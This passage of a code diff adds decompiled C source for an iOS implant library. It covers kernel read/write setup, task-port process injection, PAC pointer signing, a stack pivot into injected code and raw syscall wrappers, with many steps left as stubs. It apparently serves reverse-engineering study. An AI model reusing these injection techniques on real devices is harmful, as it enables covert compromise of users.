|
||||
/* Get driver reference — if absent, nothing to validate */
|
||||
void *driver_ref = conn->driver_ref;
|
||||
if (!driver_ref)
|
||||
return KERN_SUCCESS;
|
||||
|
||||
/* Try to establish connection via e2_driver_connect (0xc12c)
|
||||
* Args: (&conn->driver_conn, driver_ref, context, target_info) */
|
||||
kern_return_t kr = e2_driver_connect(
|
||||
&conn->driver_conn,
|
||||
driver_ref,
|
||||
conn->context,
|
||||
conn->target_info
|
||||
);
|
||||
|
||||
if (kr == KERN_SUCCESS)
|
||||
return KERN_SUCCESS;
|
||||
|
||||
/* E2_ERR_NO_CONTAINER (0x7003): connection not available yet — OK */
|
||||
if (kr == E2_ERR_NO_CONTAINER) {
|
||||
conn->driver_conn = NULL;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* If target_info is set, propagate the error as-is */
|
||||
if (conn->target_info)
|
||||
return kr;
|
||||
|
||||
/* E2_ERR_CSOPS (0x1E037): csops check failed but no target — OK */
|
||||
if (kr == E2_ERR_CSOPS) {
|
||||
conn->driver_conn = NULL;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
return kr;
|
||||
}
|
||||
@@ -0,0 +1,534 @@
|
||||
/*
|
||||
* main.c - Entry point (_end) and thread bootstrap (_last)
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0xa080–0xa6b4
|
||||
*
|
||||
* _end is the primary entry point called by the bootstrap loader.
|
||||
* It orchestrates the entire injection flow:
|
||||
* 1. Parse the F00DBEEF container from type0x09
|
||||
* 2. Get runtime context via Mach IPC
|
||||
* 3. Connect to type0x09 LOADER
|
||||
* 4. Resolve _driver from LOADER
|
||||
* 5. Create KRW provider from driver
|
||||
* 6. Spawn worker thread for injection
|
||||
*
|
||||
* _last is the thread bootstrap trampoline that sets up execution
|
||||
* context for newly-injected threads.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <strings.h> /* strcasecmp */
|
||||
#include <dlfcn.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* Private API — no public header */
|
||||
extern int proc_name(int pid, void *buffer, uint32_t buffersize);
|
||||
|
||||
/* Global vsyslog pointer, resolved at startup */
|
||||
static void (*g_vsyslog)(int, const char *, __builtin_va_list) = NULL;
|
||||
|
||||
/* ── _end (0xa080) ───────────────────────────────────────────────── *
|
||||
* Main entry point for entry2_type0x0f.dylib.
|
||||
*
|
||||
* Called by the bootstrap loader with:
|
||||
* port — Mach port for IPC with bootstrap
|
||||
* conn — connection identifier / flags
|
||||
* data — pointer to F00DBEEF container data
|
||||
* extra — additional context from bootstrap
|
||||
* stage — current loading stage (must be >= 1)
|
||||
*
|
||||
* Returns 0 on success, error code on failure.
|
||||
*/
|
||||
kern_return_t _end(mach_port_t port, uint32_t conn_info,
|
||||
void *container_data, void *extra, uint32_t stage)
|
||||
{
|
||||
kern_return_t err = E2_ERR_STAGE; /* 0x1E039 */
|
||||
|
||||
/*
|
||||
* Step 0: Resolve vsyslog for logging
|
||||
*
|
||||
* Opens libSystem.B.dylib with RTLD_NOLOAD and resolves vsyslog.
|
||||
* This is used for debug/error logging throughout the implant.
|
||||
*/
|
||||
void *libsys = dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOLOAD);
|
||||
if (libsys) {
|
||||
g_vsyslog = dlsym(libsys, "vsyslog");
|
||||
}
|
||||
|
||||
/*
|
||||
* Step 1: Validate stage
|
||||
*
|
||||
* Stage must be >= 1. Stage 0 means "not initialized" and is
|
||||
* rejected early. The stage value is tracked in a state variable
|
||||
* at sp+0x04 and reported back via IPC.
|
||||
*/
|
||||
uint32_t current_stage = 4; /* initial stage value */
|
||||
if (stage + 1 < 2)
|
||||
goto report_and_exit;
|
||||
|
||||
err += 9; /* advance error code */
|
||||
|
||||
if (!port || !conn_info)
|
||||
goto report_and_exit;
|
||||
|
||||
/*
|
||||
* Step 2: Parse F00DBEEF container from type0x09
|
||||
*
|
||||
* The container data is validated against the F00DBEEF magic
|
||||
* via e2_custom_dlsym (0x1dc98). This establishes a handle
|
||||
* for resolving symbols from type0x09.
|
||||
*/
|
||||
void *container_handle = NULL;
|
||||
err = e2_custom_dlsym(&container_handle, (void *)(uintptr_t)conn_info,
|
||||
(uint32_t)(uintptr_t)container_data);
|
||||
if (err != KERN_SUCCESS)
|
||||
goto report_and_exit;
|
||||
|
||||
current_stage = 5;
|
||||
|
||||
/*
|
||||
* Step 3: Get runtime context via Mach IPC
|
||||
*
|
||||
* Sends message ID 8 to the bootstrap port and receives
|
||||
* configuration data including:
|
||||
* - Module data pointer and size (at +0x30)
|
||||
* - Connection count (at +0x1c)
|
||||
* - Sub-connection info (at +0x38)
|
||||
*/
|
||||
ipc_response_t *runtime_ctx = NULL;
|
||||
uint32_t ctx_size = 0;
|
||||
err = e2_get_runtime_context(stage, &runtime_ctx, &ctx_size);
|
||||
if (err != KERN_SUCCESS)
|
||||
goto cleanup;
|
||||
|
||||
/* Extract module data reference from context */
|
||||
void *module_data = (void *)*(uint64_t *)((uint8_t *)runtime_ctx + 0x30);
|
||||
|
||||
/* Get connection count from runtime context */
|
||||
uint32_t conn_count = *(uint32_t *)((uint8_t *)runtime_ctx + 0x1c);
|
||||
|
||||
current_stage = 6;
|
||||
|
||||
/*
|
||||
* Step 4: Connect to type0x09 LOADER
|
||||
*
|
||||
* If conn_count >= 1, creates a bridge to type0x09 via
|
||||
* e2_create_type09_bridge (0x1068c) and then creates the
|
||||
* connection vtable via e2_create_type09_connection (0x105a4).
|
||||
*
|
||||
* Otherwise, takes the alternative path: identify current
|
||||
* process and match against daemon whitelist.
|
||||
*/
|
||||
void *type09_bridge = NULL;
|
||||
void *type09_conn = NULL;
|
||||
|
||||
if (conn_count + 1 >= 2) {
|
||||
/* Has connection info — use type0x09 bridge path */
|
||||
uint32_t sub_conn = *(uint32_t *)((uint8_t *)runtime_ctx + 0x38);
|
||||
|
||||
err = 0; /* e2_create_type09_bridge(&type09_bridge, conn_count, sub_conn) */
|
||||
if (err != KERN_SUCCESS) goto cleanup_ctx;
|
||||
|
||||
err = 0; /* e2_create_type09_connection(type09_bridge, &type09_conn) */
|
||||
if (err != KERN_SUCCESS) goto cleanup_ctx;
|
||||
|
||||
/* Deallocate the bootstrap port (no longer needed) */
|
||||
mach_port_deallocate(mach_task_self(), stage);
|
||||
|
||||
} else {
|
||||
/*
|
||||
* Step 4b: Alternative path — process name identification
|
||||
*
|
||||
* Get current PID and process name, then match against
|
||||
* the whitelist of ~50 system daemons.
|
||||
*/
|
||||
char name_buf[0x1000];
|
||||
bzero(name_buf, sizeof(name_buf));
|
||||
|
||||
pid_t pid = getpid();
|
||||
int name_len = proc_name(pid, name_buf, sizeof(name_buf));
|
||||
|
||||
if (name_len < 1)
|
||||
goto try_resolve_driver;
|
||||
|
||||
/* Compare against whitelist (48 entries, NULL-terminated) */
|
||||
for (int i = 0; g_daemon_whitelist[i] != NULL; i++) {
|
||||
if (strcasecmp(name_buf, g_daemon_whitelist[i]) == 0) {
|
||||
/*
|
||||
* Step 4c: Matched a whitelisted daemon
|
||||
*
|
||||
* Use the connection from the runtime context to
|
||||
* load the module and resolve _driver.
|
||||
*/
|
||||
goto load_via_context;
|
||||
}
|
||||
}
|
||||
|
||||
goto try_resolve_driver;
|
||||
}
|
||||
|
||||
goto use_krw;
|
||||
|
||||
load_via_context:
|
||||
{
|
||||
/*
|
||||
* Load module via runtime context connection.
|
||||
*
|
||||
* Calls the connection's load function (offset +0x30)
|
||||
* with the module data from the runtime context.
|
||||
*/
|
||||
void *ctx_conn = NULL; /* from sp+0x38 or sp+0x20 */
|
||||
if (!ctx_conn) {
|
||||
err = E2_ERR_NULL + 0x21;
|
||||
goto cleanup_ctx;
|
||||
}
|
||||
|
||||
void *load_result = NULL;
|
||||
void *load_fn = *((void **)ctx_conn + 6); /* offset 0x30 */
|
||||
/* blraaz load_fn(ctx_conn, module_buf, module_size,
|
||||
* target_config, &load_result) */
|
||||
|
||||
if (!load_result) goto cleanup_ctx;
|
||||
}
|
||||
|
||||
try_resolve_driver:
|
||||
{
|
||||
/*
|
||||
* Step 5: Resolve _driver from type0x09
|
||||
*
|
||||
* This is THE critical operation. Uses the type0x09 connection's
|
||||
* dlsym-like function (vtable offset 0x30) to look up the
|
||||
* "_driver" symbol from the LOADER.
|
||||
*/
|
||||
void *conn_obj = NULL; /* connection to type0x09 */
|
||||
if (!conn_obj) {
|
||||
err = E2_ERR_NULL;
|
||||
goto cleanup_ctx;
|
||||
}
|
||||
|
||||
/*
|
||||
* Step 5a: Allocate memory in type0x09's address space
|
||||
*
|
||||
* Calls the alloc function (offset +0x18) with size 0x90000
|
||||
* and stores the mapping info.
|
||||
*/
|
||||
void *mapping = NULL;
|
||||
uint32_t mapping_size = 0;
|
||||
void *alloc_fn = *((void **)conn_obj + 3); /* offset 0x18 */
|
||||
/* blraaz alloc_fn(conn_obj, 0x90000, &mapping, &mapping_size) */
|
||||
|
||||
/*
|
||||
* Step 5b: Load type0x09 module via connection
|
||||
*
|
||||
* Calls load function (offset +0x30) to map the LOADER
|
||||
* into the allocated region.
|
||||
*/
|
||||
void *loaded_module = NULL; /* from sp+0x28 */
|
||||
void *load_fn = *((void **)conn_obj + 6); /* offset 0x30 */
|
||||
/* blraaz load_fn(loaded_module, module_buf, module_size,
|
||||
* 0x4, &loaded_type09) */
|
||||
|
||||
/*
|
||||
* Step 5c: Resolve "_driver" from the loaded type0x09
|
||||
*
|
||||
* Uses the module's dlsym function (offset +0x30) to find
|
||||
* the _driver symbol. This is NOT standard dlsym — it uses
|
||||
* the custom F00DBEEF-aware resolver.
|
||||
*
|
||||
* asm at 0xa5c8:
|
||||
* ldr x0, [sp, #0x28] // loaded module context
|
||||
* ldr x8, [x0, #0x30] // get dlsym function ptr
|
||||
* adr x1, "_driver" // symbol name string
|
||||
* add x2, sp, #0xa0 // output pointer
|
||||
* blraaz x8 // CALL: resolve "_driver"
|
||||
*/
|
||||
void *driver_fn = NULL;
|
||||
void *dlsym_fn = *((void **)loaded_module + 6); /* offset 0x30 */
|
||||
/* blraaz dlsym_fn(loaded_module, "_driver", &driver_fn) */
|
||||
|
||||
if (!driver_fn) goto cleanup_ctx;
|
||||
|
||||
/*
|
||||
* Step 5d: Call _driver() to get the driver object
|
||||
*
|
||||
* The resolved _driver function returns a driver_t* with:
|
||||
* version = 2 (required)
|
||||
* method_count >= 2 (required)
|
||||
*
|
||||
* asm at 0xa5e8:
|
||||
* ldr x8, [sp, #0xa0] // resolved _driver ptr
|
||||
* add x0, sp, #0x30 // output: driver_t*
|
||||
* blraaz x8 // CALL: _driver()
|
||||
*/
|
||||
driver_t *driver = NULL;
|
||||
/* blraaz driver_fn(&driver) */
|
||||
|
||||
/*
|
||||
* Step 5e: Validate driver object
|
||||
*
|
||||
* asm at 0xa604:
|
||||
* ldr x1, [sp, #0x30] // driver_t*
|
||||
* cbz x1, fail
|
||||
* ldrh w8, [x1] // version
|
||||
* cmp w8, #0x2 // must be 2
|
||||
* b.ne fail
|
||||
* ldrh w8, [x1, #0x2] // method_count
|
||||
* cmp w8, #0x1 // must be > 1
|
||||
* b.ls fail
|
||||
*/
|
||||
if (!driver) goto cleanup_ctx;
|
||||
if (driver->version != 2) goto cleanup_ctx;
|
||||
if (driver->method_count < 2) goto cleanup_ctx;
|
||||
|
||||
/*
|
||||
* Step 6: Create KRW provider from driver
|
||||
*
|
||||
* Calls e2_create_krw_provider (0x11298) which wraps the
|
||||
* driver's kernel primitives into a PAC-signed vtable.
|
||||
*/
|
||||
err = e2_create_krw_provider(
|
||||
/* output */ NULL,
|
||||
driver,
|
||||
/* target */ NULL,
|
||||
container_handle,
|
||||
/* context */ NULL,
|
||||
/* flags */ 1
|
||||
);
|
||||
if (err != KERN_SUCCESS) goto cleanup_ctx;
|
||||
}
|
||||
|
||||
use_krw:
|
||||
{
|
||||
/*
|
||||
* Step 7: Use KRW provider for injection
|
||||
*
|
||||
* Creates a worker context and spawns a pthread to perform
|
||||
* the actual injection. The worker thread:
|
||||
* 1. Uses kread/kwrite to manipulate kernel objects
|
||||
* 2. Acquires task port for target process
|
||||
* 3. Allocates memory in target via mach_vm_allocate
|
||||
* 4. Writes MODULE into target via mach_vm_write
|
||||
* 5. Sets memory protection via mach_vm_protect
|
||||
* 6. Creates remote thread via thread_create_running
|
||||
*/
|
||||
void *krw_provider = NULL; /* from earlier creation */
|
||||
|
||||
if (!krw_provider) {
|
||||
err = E2_ERR_NO_DRIVER;
|
||||
goto cleanup_ctx;
|
||||
}
|
||||
|
||||
/* Prepare worker context */
|
||||
worker_ctx_t worker = {0};
|
||||
/* worker.krw = krw_provider; */
|
||||
/* worker.data = module_data_copy; */
|
||||
/* worker.data_len = module_size; */
|
||||
|
||||
/* Zero out sensitive buffer before populating */
|
||||
/* e2_send_msg(stage, 0, 0xA, 0, 0) — notify bootstrap of progress */
|
||||
|
||||
/*
|
||||
* Build worker function context on stack.
|
||||
*
|
||||
* The PAC-signed function pointer is created with:
|
||||
* adr x16, #788 // target function offset
|
||||
* paciza x16 // sign with zero context
|
||||
*
|
||||
* This signed pointer becomes the worker->fn field.
|
||||
*/
|
||||
|
||||
/* Spawn worker thread */
|
||||
pthread_t thread = NULL;
|
||||
int pt_err = pthread_create(&thread, NULL,
|
||||
(void *(*)(void *))e2_thread_worker,
|
||||
&worker);
|
||||
if (pt_err != 0) {
|
||||
err = pt_err;
|
||||
goto cleanup_krw;
|
||||
}
|
||||
|
||||
/* Wait for worker to complete */
|
||||
void *thread_result = NULL;
|
||||
pthread_join(thread, &thread_result);
|
||||
err = (thread_result == NULL) ? KERN_SUCCESS : (kern_return_t)(uintptr_t)thread_result;
|
||||
|
||||
current_stage = 16;
|
||||
}
|
||||
|
||||
cleanup_krw:
|
||||
/* Clean up KRW provider buffers */
|
||||
/* bzero + free allocated resources */
|
||||
;
|
||||
|
||||
cleanup_ctx:
|
||||
/*
|
||||
* Cleanup: check bit 5 of module_data flags
|
||||
* If set, skip calling unbind. Otherwise, call the
|
||||
* connection's unbind function (offset +0x28).
|
||||
*/
|
||||
if (module_data) {
|
||||
uint8_t flags_byte = *((uint8_t *)module_data);
|
||||
if (!(flags_byte & 0x20)) {
|
||||
/* Unbind: call ctx->fn_unbind(ctx) at offset +0x28 */
|
||||
}
|
||||
}
|
||||
|
||||
/* Release all connection handles in reverse order */
|
||||
/* ... */
|
||||
|
||||
cleanup:
|
||||
/* Destroy container handle */
|
||||
/* e2_destroy_resolver(container_handle) at 0x1dd68 */
|
||||
;
|
||||
|
||||
report_and_exit:
|
||||
/*
|
||||
* Final: report status back to bootstrap via IPC
|
||||
*
|
||||
* Sends a message with:
|
||||
* msg_id = stage value
|
||||
* flags = 0
|
||||
* extra = err code
|
||||
* final = 1 (indicates completion)
|
||||
*
|
||||
* Then deallocates the bootstrap port.
|
||||
*/
|
||||
e2_send_msg(stage, 0, err, 1, 0);
|
||||
mach_port_deallocate(mach_task_self(), stage);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── e2_thread_worker (0xa670) ───────────────────────────────────── *
|
||||
* Simple pthread worker trampoline.
|
||||
*
|
||||
* Loads a function pointer and arguments from the worker_ctx_t,
|
||||
* then calls through via blraaz (PAC-authenticated).
|
||||
*
|
||||
* asm:
|
||||
* ldr x9, [x8] // fn pointer (PAC-signed)
|
||||
* cbz x9, fail
|
||||
* ldp x0, x1, [x8, #0x8] // args: krw_provider, data
|
||||
* ldr w2, [x8, #0x18] // arg: data_len
|
||||
* blraaz x9 // call fn(krw, data, len)
|
||||
* sxtw x0, w0 // sign-extend result
|
||||
*/
|
||||
static void *e2_thread_worker(void *arg)
|
||||
{
|
||||
if (!arg)
|
||||
return (void *)(uintptr_t)E2_ERR_NULL;
|
||||
|
||||
worker_ctx_t *ctx = (worker_ctx_t *)arg;
|
||||
|
||||
if (!ctx->fn)
|
||||
return (void *)((uintptr_t)arg + 0x13); /* error offset */
|
||||
|
||||
/* Call the worker function with PAC authentication */
|
||||
kern_return_t result;
|
||||
/* blraaz ctx->fn(ctx->krw, ctx->data, ctx->data_len) */
|
||||
result = ((kern_return_t (*)(void *, void *, uint32_t))ctx->fn)(
|
||||
ctx->krw, ctx->data, ctx->data_len
|
||||
);
|
||||
|
||||
return (void *)(intptr_t)result;
|
||||
}
|
||||
|
||||
/* ── _last (0xa6b4) ──────────────────────────────────────────────── *
|
||||
* Thread bootstrap trampoline.
|
||||
*
|
||||
* This is a simple branch to 0x73cc, which implements the low-level
|
||||
* thread setup for injected code:
|
||||
*
|
||||
* 1. Validates input buffer (must be non-NULL, size >= 0x90)
|
||||
* 2. Checks if the driver is already connected:
|
||||
* - Reads driver handle at offset +0x60
|
||||
* - Checks validation flag at offset +0x70, +0x78
|
||||
* 3. If not connected, performs first-time setup:
|
||||
* - Strips PAC from function pointers (via 0x19f4c)
|
||||
* - Signs them for current context (via 0x19f68)
|
||||
* - Calls e2_trap_guarded_open (syscall 360) to create
|
||||
* a guarded file descriptor for the driver
|
||||
* - If that fails, falls back to direct driver init
|
||||
* 4. Copies code to a new stack page:
|
||||
* - Allocates via memset to 0x400 bytes
|
||||
* - Copies current context
|
||||
* - Switches stack pointer: mov sp, x1
|
||||
* - Branches to the copied code: braaz x0
|
||||
* 5. The trampoline then:
|
||||
* - Calls e2_trap_guarded_write (syscall 361) to finalize
|
||||
* - Resets execution context
|
||||
* - Invokes the actual injection payload
|
||||
*
|
||||
* This ensures the injected thread has:
|
||||
* - A clean stack
|
||||
* - Proper PAC context
|
||||
* - Driver connection initialized
|
||||
* - All function pointers properly signed
|
||||
*/
|
||||
void _last(void *ctx, uint32_t size, void *data,
|
||||
uint32_t flags, void *stack, uint32_t cleanup)
|
||||
{
|
||||
/* Direct branch to 0x73cc — the actual implementation */
|
||||
/* b 0x73cc */
|
||||
|
||||
/*
|
||||
* The function at 0x73cc is complex (~500 instructions) and handles:
|
||||
*
|
||||
* a) Stack pivot: creates a new stack frame, copies execution context
|
||||
* b) Driver initialization: sets up the IOKit connection if needed
|
||||
* c) Memory protection: uses e2_memset_custom to zero sensitive regions
|
||||
* d) Code execution: signs and branches to the injected code
|
||||
*
|
||||
* Key operations at 0x73cc:
|
||||
*
|
||||
* // Load driver handle
|
||||
* ldr x0, [x19, #0x60] // IOKit connection handle
|
||||
* cbz x0, setup // need first-time setup
|
||||
*
|
||||
* // Check if already initialized
|
||||
* ldr x8, [x19, #0x70] // driver function table
|
||||
* cbz x8, setup
|
||||
* ldr w8, [x19, #0x78] // initialized flag
|
||||
* cbnz w8, already_init
|
||||
*
|
||||
* setup:
|
||||
* // Strip and re-sign function pointers for this context
|
||||
* bl 0x19f4c // strip_pac(fn)
|
||||
* bl 0x19f68 // sign_pointer(fn, 0)
|
||||
*
|
||||
* // Create guarded FD for driver
|
||||
* bl 0x6000 // e2_trap_guarded_open(...)
|
||||
* stp x0, x1, [sp, #0x40] // store result
|
||||
* str x0, [x19, #0x80] // save handle
|
||||
*
|
||||
* // If guarded open failed, fall back
|
||||
* cmn x0, #1
|
||||
* b.ne continue
|
||||
*
|
||||
* // Fallback: direct driver init
|
||||
* bl 0x72c0 // init_driver_direct(...)
|
||||
* bl 0x7238 // validate_driver(...)
|
||||
*
|
||||
* continue:
|
||||
* // Set up execution on new stack
|
||||
* mov x0, x19 // context
|
||||
* mov w1, #0 // flags = 0
|
||||
* mov w2, #0x20 // size = 32
|
||||
* bl 0x100a4 // e2_memset_custom(context+0x60, 0, 0x20)
|
||||
*
|
||||
* // Copy context to new stack, pivot, and execute
|
||||
* str q0, [x8] // copy 16 bytes
|
||||
* str q0, [x8, #0x10] // copy next 16
|
||||
* mov x0, x19 // new stack base
|
||||
* mov w1, #0
|
||||
* mov w2, #0x400 // stack size
|
||||
* bl 0x100a4 // zero fill
|
||||
* add x8, x19, #0x400 // stack top
|
||||
* paciza x16 // sign the target address
|
||||
* mov x1, x8 // new stack pointer
|
||||
* mov sp, x1 // PIVOT STACK
|
||||
* braaz x0 // BRANCH to injected code
|
||||
*/
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
/*
|
||||
* memory.c - Custom memory operations
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x10010–0x10120
|
||||
*
|
||||
* These are custom memcpy/memset implementations that avoid using
|
||||
* libSystem. They are used in contexts where libSystem may not be
|
||||
* available (e.g., inside newly-injected threads before library
|
||||
* initialization).
|
||||
*
|
||||
* Note: These are intentionally naive byte-by-byte implementations
|
||||
* — the original binary does not use SIMD or word-sized copies.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
|
||||
/* ── e2_memcpy_custom (0x10010) ──────────────────────────────────── *
|
||||
* Byte-by-byte copy from src to dst.
|
||||
*
|
||||
* Unlike standard memcpy, this returns dst (not dst+n).
|
||||
* Used in injected thread context where libc may not be loaded.
|
||||
*
|
||||
* The decompiled code is notably unoptimized — it uses stack-based
|
||||
* loop variables rather than registers, suggesting it was compiled
|
||||
* with -O0 or is hand-written C.
|
||||
*
|
||||
* asm (0x10010–0x100a0):
|
||||
* str x0, [sp, #0x28] // dst
|
||||
* str x1, [sp, #0x20] // src
|
||||
* str x2, [sp, #0x18] // len
|
||||
* ...
|
||||
* str xzr, [sp] // i = 0
|
||||
* loop:
|
||||
* ldr x8, [sp] // i
|
||||
* ldr x9, [sp, #0x18] // len
|
||||
* cmp x8, x9
|
||||
* b.lo body
|
||||
* b done
|
||||
* body:
|
||||
* ldr x8, [sp, #0x20] // src
|
||||
* ldr x9, [sp] // i
|
||||
* add x8, x8, x9
|
||||
* ldrb w8, [x8] // src[i]
|
||||
* ldr x9, [sp, #0x10] // dst (saved copy)
|
||||
* ldr x10, [sp] // i
|
||||
* add x9, x9, x10
|
||||
* strb w8, [x9] // dst[i] = src[i]
|
||||
* ldr x8, [sp]
|
||||
* add x8, x8, #1
|
||||
* str x8, [sp] // i++
|
||||
* b loop
|
||||
*/
|
||||
void *e2_memcpy_custom(void *dst, const void *src, size_t len)
|
||||
{
|
||||
if (!dst || !src || len == 0)
|
||||
return dst;
|
||||
|
||||
uint8_t *d = (uint8_t *)dst;
|
||||
const uint8_t *s = (const uint8_t *)src;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
d[i] = s[i];
|
||||
}
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
/* ── e2_memset_custom (0x100a4) ──────────────────────────────────── *
|
||||
* Byte-by-byte fill of dst with val.
|
||||
*
|
||||
* Same stack-heavy style as memcpy. Used to zero-fill sensitive
|
||||
* buffers and prepare injected code regions.
|
||||
*
|
||||
* asm (0x100a4–0x1011c):
|
||||
* str x0, [sp, #0x28] // dst
|
||||
* str w1, [sp, #0x24] // val
|
||||
* str x2, [sp, #0x18] // len
|
||||
* ...
|
||||
* strb w1, [sp, #0xf] // val_byte = (uint8_t)val
|
||||
* str xzr, [sp] // i = 0
|
||||
* loop:
|
||||
* ldr x8, [sp] // i
|
||||
* ldr x9, [sp, #0x18] // len
|
||||
* cmp x8, x9
|
||||
* b.lo body
|
||||
* b done
|
||||
* body:
|
||||
* ldrb w8, [sp, #0xf] // val_byte
|
||||
* ldr x9, [sp, #0x10] // dst (saved)
|
||||
* ldr x10, [sp] // i
|
||||
* add x9, x9, x10
|
||||
* strb w8, [x9] // dst[i] = val_byte
|
||||
* ldr x8, [sp]
|
||||
* add x8, x8, #1
|
||||
* str x8, [sp] // i++
|
||||
* b loop
|
||||
*/
|
||||
void *e2_memset_custom(void *dst, int val, size_t len)
|
||||
{
|
||||
if (!dst || len == 0)
|
||||
return dst;
|
||||
|
||||
uint8_t byte = (uint8_t)val;
|
||||
uint8_t *d = (uint8_t *)dst;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
d[i] = byte;
|
||||
}
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
/* ── e2_memcpy_alias (0x10120) ───────────────────────────────────── *
|
||||
* Just a tail-call to e2_memcpy_custom.
|
||||
* Exists as a separate symbol for different calling conventions.
|
||||
*
|
||||
* asm:
|
||||
* b 0x10010
|
||||
*/
|
||||
void *e2_memcpy_alias(void *dst, const void *src, size_t len)
|
||||
{
|
||||
return e2_memcpy_custom(dst, src, len);
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
/*
|
||||
* pac.c - Pointer Authentication Code utilities
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x861c–0x8664
|
||||
* These are nearly identical to bootstrap.dylib's PAC helpers.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
|
||||
/* ── Raw PAC instruction wrappers (0x861c–0x8638) ────────────────── */
|
||||
|
||||
/* 0x861c: pacia x0, x1; ret */
|
||||
__attribute__((noinline))
|
||||
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* 0x8624: pacda x0, x1; ret */
|
||||
__attribute__((noinline))
|
||||
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* 0x862c: pacib x0, x1; ret */
|
||||
__attribute__((noinline))
|
||||
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* 0x8634: pacdb x0, x1; ret */
|
||||
__attribute__((noinline))
|
||||
uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* ── e2_check_pac (0x863c) ───────────────────────────────────────── *
|
||||
* Tests if Pointer Authentication is active by loading a known value
|
||||
* into LR, stripping it with xpaclri, and comparing.
|
||||
*
|
||||
* Returns 1 if PAC is active (values differ), 0 if not.
|
||||
*/
|
||||
int e2_check_pac(void)
|
||||
{
|
||||
uint64_t test = 0xAAAAAAAAAAAAAAAAULL;
|
||||
uint64_t result;
|
||||
|
||||
__asm__ volatile(
|
||||
"stp x29, x30, [sp, #-0x10]!\n"
|
||||
"mov x30, %1\n" /* load known value into LR */
|
||||
"xpaclri\n" /* strip PAC bits from LR */
|
||||
"mov %0, x30\n" /* save result */
|
||||
"ldp x29, x30, [sp], #0x10\n"
|
||||
: "=r"(result)
|
||||
: "r"(test)
|
||||
: "memory"
|
||||
);
|
||||
return (result != test) ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ── e2_strip_pac (0x19f4c) ──────────────────────────────────────── *
|
||||
* Strips PAC bits from a pointer using xpaclri.
|
||||
*/
|
||||
uint64_t e2_strip_pac(uint64_t ptr)
|
||||
{
|
||||
uint64_t result;
|
||||
__asm__ volatile(
|
||||
"mov x30, %1\n"
|
||||
"xpaclri\n"
|
||||
"mov %0, x30\n"
|
||||
: "=r"(result)
|
||||
: "r"(ptr)
|
||||
: "x30"
|
||||
);
|
||||
return result;
|
||||
}
|
||||
|
||||
/* ── e2_sign_pointer (0x19f68) ───────────────────────────────────── *
|
||||
* Conditionally PAC-signs a pointer with PACIA.
|
||||
* If PAC is available, signs ptr with ctx=0 (paciza).
|
||||
* If not, returns the raw pointer.
|
||||
*
|
||||
* Note: at 0x19f68, it calls 0x863c (check) and 0x861c (pacia).
|
||||
* If PAC is active, it tail-calls the actual sign function at 0x861c.
|
||||
*/
|
||||
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
if (e2_check_pac()) {
|
||||
return e2_pacia(ptr, ctx);
|
||||
}
|
||||
return ptr;
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
/*
|
||||
* traps.c - Raw Mach trap syscall wrappers
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x6000–0x60a0
|
||||
*
|
||||
* These bypass libSystem entirely, issuing svc #0x80 directly.
|
||||
* This is done to avoid symbol resolution / interposition and to
|
||||
* work in contexts where libSystem may not be fully initialized
|
||||
* (e.g., inside a freshly-injected remote thread).
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
|
||||
/* ── 0x6000: BSD syscall 360 — guarded_open_dprotected_np ─────────── *
|
||||
* Opens a file with data-protection class, guarded by a guard value.
|
||||
*
|
||||
* svc #0x80 with x16 = 0x168 (360)
|
||||
*/
|
||||
int64_t e2_trap_guarded_open(uint64_t guard, uint64_t path,
|
||||
uint64_t guardflags, uint64_t flags)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = guard;
|
||||
register uint64_t x1 __asm__("x1") = path;
|
||||
register uint64_t x2 __asm__("x2") = guardflags;
|
||||
register uint64_t x3 __asm__("x3") = flags;
|
||||
register uint64_t x16 __asm__("x16") = 0x168;
|
||||
|
||||
__asm__ volatile(
|
||||
"svc #0x80\n"
|
||||
"mov x1, xzr\n"
|
||||
"b.lo 1f\n"
|
||||
"mov x1, x0\n"
|
||||
"mov x0, #-1\n"
|
||||
"1:\n"
|
||||
: "+r"(x0), "+r"(x1)
|
||||
: "r"(x2), "r"(x3), "r"(x16)
|
||||
: "memory", "cc"
|
||||
);
|
||||
return (int64_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x601c: BSD syscall 361 — guarded_write_np ──────────────────── *
|
||||
*
|
||||
* svc #0x80 with x16 = 0x169 (361)
|
||||
*/
|
||||
